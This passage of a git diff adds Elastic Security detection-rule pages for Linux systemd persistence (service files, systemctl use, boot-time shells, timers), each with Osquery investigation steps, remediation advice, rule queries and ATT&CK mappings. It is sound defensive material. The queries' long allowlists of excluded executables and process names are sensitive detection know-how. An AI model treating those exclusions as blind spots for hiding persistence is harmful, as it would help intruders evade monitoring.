unusual but satisfy a specific business need. + + +*Related Rules* + + +- Potential Persistence Through Run Control Detected - 0f4d35e4-925e-4959-ab24-911be207ee6f +- Potential Persistence Through init.d Detected - 474fd20e-14cc-49c5-8160-d9ab4ba16c8b +- Systemd Timer Created - 7fb500fa-8e24-4bd1-9480-2a819352602c + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service/timer or restore its original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and file.path : ( + "/etc/systemd/system/*", "/etc/systemd/user/*", "/usr/local/lib/systemd/system/*", + "/lib/systemd/system/*", "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*", + "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*", + "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*" +) and file.extension == "service" and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/bin/crio", "/usr/sbin/crond", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/kaniko/kaniko-executor", + "/usr/local/bin/dockerd", "/usr/bin/podman", "/bin/install", "/proc/self/exe", "/usr/lib/systemd/systemd", + "/usr/sbin/sshd", "/usr/bin/gitlab-runner", "/opt/gitlab/embedded/bin/ruby", "/usr/sbin/gdm", "/usr/bin/install", + "/usr/local/manageengine/uems_agent/bin/dcregister", "/usr/local/bin/defender", "./usr/bin/podman", + "/etc/checkpoint/common/install.sh", "/usr/bin/dnf5", "/usr/lib/dracut/dracut-install", "/usr/bin/buildah", + "/opt/msp-agent/msp-agent-core", "/opt/sysmon/sysmon", "/opt/datadog-agent/embedded/bin/installer", "/usr/bin/tdnf", + "/opt/teleport/system/bin/teleport-update", "/opt/gitlab/embedded/bin/cinc-client", "/usr/libexec/snapd/snapd", + "/usr/sbin/yum-cron", "/sbin/yum-cron", "/opt/splunkforwarder/bin/splunk" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", + "/usr/share/elastic-agent/data/*/components/endpoint-security", "/opt/Elastic/Agent/data/*/components/endpoint-security", + "/opt/TrendMicro/EndpointBasecamp/*", "/var/lib/docker/overlay2/*dockerd", "/var/lib/containers/storage/overlay/*/dockerd", + "/var/opt/kaspersky/kesl/*/opt/kaspersky/kesl/libexec/launcher" + + ) or + process.executable == null or + process.name like ( + "ssm-agent-worker", "platform-python*", "dnf_install", "cloudflared", "lxc-pve-prestart-hook", + "convert-usrmerge", "elastic-agent", "google_metadata_script_runner", "update-alternatives", "gitlab-runner", + "install", "crio", "apt-get", "package-cleanup", "dcservice", "dcregister", "jumpcloud-agent", "executor", + "pacman", "convert2rhel", "packagekitd" + ) or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-service-started-by-unusual-parent-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-service-started-by-unusual-parent-process.asciidoc new file mode 100644 index 0000000000..743883c23a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-service-started-by-unusual-parent-process.asciidoc @@ -0,0 +1,235 @@ +[[prebuilt-rule-8-19-20-systemd-service-started-by-unusual-parent-process]] +=== Systemd Service Started by Unusual Parent Process + +Systemctl is a process used in Linux systems to manage systemd processes through service configuration files. Malicious actors can leverage systemd services to achieve persistence by creating or modifying service files to execute malicious commands or payloads during system startup. This allows them to maintain unauthorized access, execute additional malicious activities, or evade detection. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/springtail-kimsuky-backdoor-espionage +* https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Systemd Service Started by Unusual Parent Process* + + +Systemd service files are configuration files in Linux systems used to define and manage systemd services. + +Malicious actors can leverage systemd service files to achieve persistence by creating or modifying service files to execute malicious commands or payloads during system startup. This allows them to maintain unauthorized access, execute additional malicious activities, or evade detection. + +This rule monitors the execution of the systemctl binary to start, enable or reenable a systemd service, potentially indicating the creation of a persistence mechanism. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the currently enabled systemd services through the following command `sudo systemctl list-unit-files`. +- Investigate whether any other files in any of the available systemd directories have been altered through OSQuery. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE ( path LIKE '/etc/systemd/system/%' OR path LIKE '/usr/local/lib/systemd/system/%' OR path LIKE\n'/lib/systemd/system/%' OR path LIKE '/usr/lib/systemd/system/%' OR path LIKE '/home/user/.config/systemd/user/%' )\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE ( path LIKE '/etc/systemd/system/%' OR path LIKE\n'/usr/local/lib/systemd/system/%' OR path LIKE '/lib/systemd/system/%' OR path LIKE '/usr/lib/systemd/system/%' OR path\nLIKE '/home/{{user.name}}/.config/systemd/user/%' )\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses systemd services for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Related Rules* + + +- New Systemd Service Created by Previously Unknown Process - 17b0a495-4d9f-414c-8ad0-92f018b8e001 +- Potential Persistence Through Run Control Detected - 0f4d35e4-925e-4959-ab24-911be207ee6f +- Potential Persistence Through init.d Detected - 474fd20e-14cc-49c5-8160-d9ab4ba16c8b +- New Systemd Timer Created - 7fb500fa-8e24-4bd1-9480-2a819352602c + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service/timer or restore its original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:exec and +process.executable:/usr/bin/systemctl and process.args:(enable or reenable or start) and +process.entry_leader.entry_meta.type:* and +not ( + process.entry_leader.entry_meta.type:(container or init or unknown) or + process.parent.pid:1 or + process.parent.executable:( + /bin/adduser or /bin/dnf or /bin/dnf-automatic or /bin/dockerd or /bin/dpkg or /bin/microdnf or /bin/pacman or + /bin/podman or /bin/rpm or /bin/snapd or /bin/sudo or /bin/useradd or /bin/yum or /usr/bin/dnf or + /usr/bin/dnf-automatic or /usr/bin/dockerd or /usr/bin/dpkg or /usr/bin/microdnf or /usr/bin/pacman or + /usr/bin/podman or /usr/bin/rpm or /usr/bin/snapd or /usr/bin/sudo or /usr/bin/yum or /usr/sbin/adduser or + /usr/sbin/invoke-rc.d or /usr/sbin/useradd or /var/lib/dpkg/* or /opt/datadog-agent/embedded/bin/installer or + /opt/saltstack/salt/bin/python* or /opt/puppetlabs/puppet/bin/puppet or /opt/splunkforwarder/bin/splunk or + /opt/puppetlabs/puppet/bin/ruby or /opt/kaspersky/kesl/shared/kesl or /usr/local/bin/cloudflared or + /usr/bin/puppet or /opt/sentinelone/bin/sentinelctl + ) or + process.args_count >= 5 or + process.parent.command_line:*ansible* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-shell-execution-during-boot.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-shell-execution-during-boot.asciidoc new file mode 100644 index 0000000000..b36926f9ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-shell-execution-during-boot.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-20-systemd-shell-execution-during-boot]] +=== Systemd Shell Execution During Boot + +This rule detects the execution of shell commands by systemd during the boot process on Linux systems. Systemd is a system and service manager for Linux operating systems. Attackers may execute shell commands during the boot process to maintain persistence on the system. This may be a sign of malicious systemd services, initramfs or GRUB bootloader manipulation, or other persistence mechanisms. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Systemd Shell Execution During Boot* + + +Systemd is a critical component in Linux, managing system and service initialization during boot. Adversaries may exploit systemd to execute shell commands at startup, ensuring persistence and potential privilege escalation. The detection rule identifies suspicious shell executions by monitoring processes initiated by systemd, focusing on those with specific characteristics indicative of unauthorized activity. + + +*Possible investigation steps* + + +- Review the process details to confirm the parent process is indeed systemd and the command line used is "/sbin/init" to ensure the alert is not a false positive. +- Examine the specific shell process name (e.g., bash, sh, etc.) and its arguments to identify any unusual or suspicious commands being executed. +- Investigate the history and configuration of the systemd service or unit file associated with the suspicious process to determine if it has been modified or created recently. +- Check for any recent changes or anomalies in the initramfs or GRUB bootloader configurations that could indicate tampering or unauthorized modifications. +- Correlate the alert with other security events or logs from the same host to identify any patterns or additional indicators of compromise that might suggest a broader attack or persistence mechanism. + + +*False positive analysis* + + +- Legitimate system maintenance scripts may trigger this rule if they are executed by systemd during boot. Users can create exceptions for known maintenance scripts by identifying their specific command lines and excluding them from the detection rule. +- Custom user scripts that are intentionally set to run at boot for automation purposes might be flagged. To handle this, users should document these scripts and adjust the rule to exclude their specific process names or command lines. +- Some Linux distributions may use shell scripts for legitimate boot-time operations. Users should verify the distribution's default boot scripts and exclude them if they are known to be safe and necessary for system operation. +- System updates or package installations that modify boot processes could cause false positives. Users should monitor for these events and temporarily adjust the rule to prevent unnecessary alerts during known update windows. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious shell processes identified as being executed by systemd during boot to halt potential malicious activity. +- Conduct a thorough review of systemd service files and configurations to identify and remove any unauthorized or malicious entries. +- Restore any modified system files or configurations from a known good backup to ensure system integrity. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar environments to detect any recurrence of the threat. +- Review and update access controls and permissions to limit the ability of unauthorized users to modify systemd configurations or execute shell commands during boot. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "info" and event.action == "already_running" and +process.parent.name == "systemd" and process.name in ("bash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +process.parent.command_line == "/sbin/init" and process.args_count >= 2 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-timer-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-timer-created.asciidoc new file mode 100644 index 0000000000..bda5db1d5a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-timer-created.asciidoc @@ -0,0 +1,224 @@ +[[prebuilt-rule-8-19-20-systemd-timer-created]] +=== Systemd Timer Created + +Detects the creation of a systemd timer within any of the default systemd timer directories. Systemd timers can be used by an attacker to gain persistence, by scheduling the execution of a command or script. Similarly to cron/at, systemd timers can be set up to execute on boot time, or on a specific point in time, which allows attackers to regain access in case the connection to the infected asset was lost. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://opensource.com/article/20/7/systemd-timers +* https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 20 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Systemd Timer Created* + + +Systemd timers are used for scheduling and automating recurring tasks or services on Linux systems. + +Attackers can leverage systemd timers to run scripts, commands, or malicious software at system boot or on a set time interval by creating a systemd timer and a corresponding systemd service file. + +This rule monitors the creation of new systemd timer files, potentially indicating the creation of a persistence mechanism. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the timer file that was created or modified. + - !{osquery{"label":"Osquery - Retrieve File Information","query":"SELECT * FROM file WHERE path = {{file.path}}"}} +- Investigate the currently enabled systemd timers through the following command `sudo systemctl list-timers`. +- Search for the systemd service file named similarly to the timer that was created. +- Investigate whether any other files in any of the available systemd directories have been altered through OSQuery. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE (path LIKE '/etc/systemd/system/%' OR path LIKE '/usr/local/lib/systemd/system/%' OR path LIKE\n'/lib/systemd/system/%' OR path LIKE '/usr/lib/systemd/system/%' OR path LIKE\n'/home/{{user.name}}/.config/systemd/user/%' OR path LIKE '/home/{{user.name}}/.local/share/systemd/user/%' OR path LIKE\n'/root/.config/systemd/user/%' OR path LIKE '/root/.local/share/systemd/user/%' OR path LIKE '/etc/systemd/user/%' OR\npath LIKE '/usr/lib/systemd/user/%')\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE ( path LIKE '/etc/systemd/system/%' OR path LIKE\n'/usr/local/lib/systemd/system/%' OR path LIKE '/lib/systemd/system/%' OR path LIKE '/usr/lib/systemd/system/%' OR path\nLIKE '/home/{{user.name}}/.config/systemd/user/%' OR path LIKE '/home/{{user.name}}/.local/share/systemd/user/%' OR path\nLIKE '/root/.config/systemd/user/%' OR path LIKE '/root/.local/share/systemd/user/%' OR path LIKE '/etc/systemd/user/%'\nOR path LIKE '/usr/lib/systemd/user/%')\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses systemd timers for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. 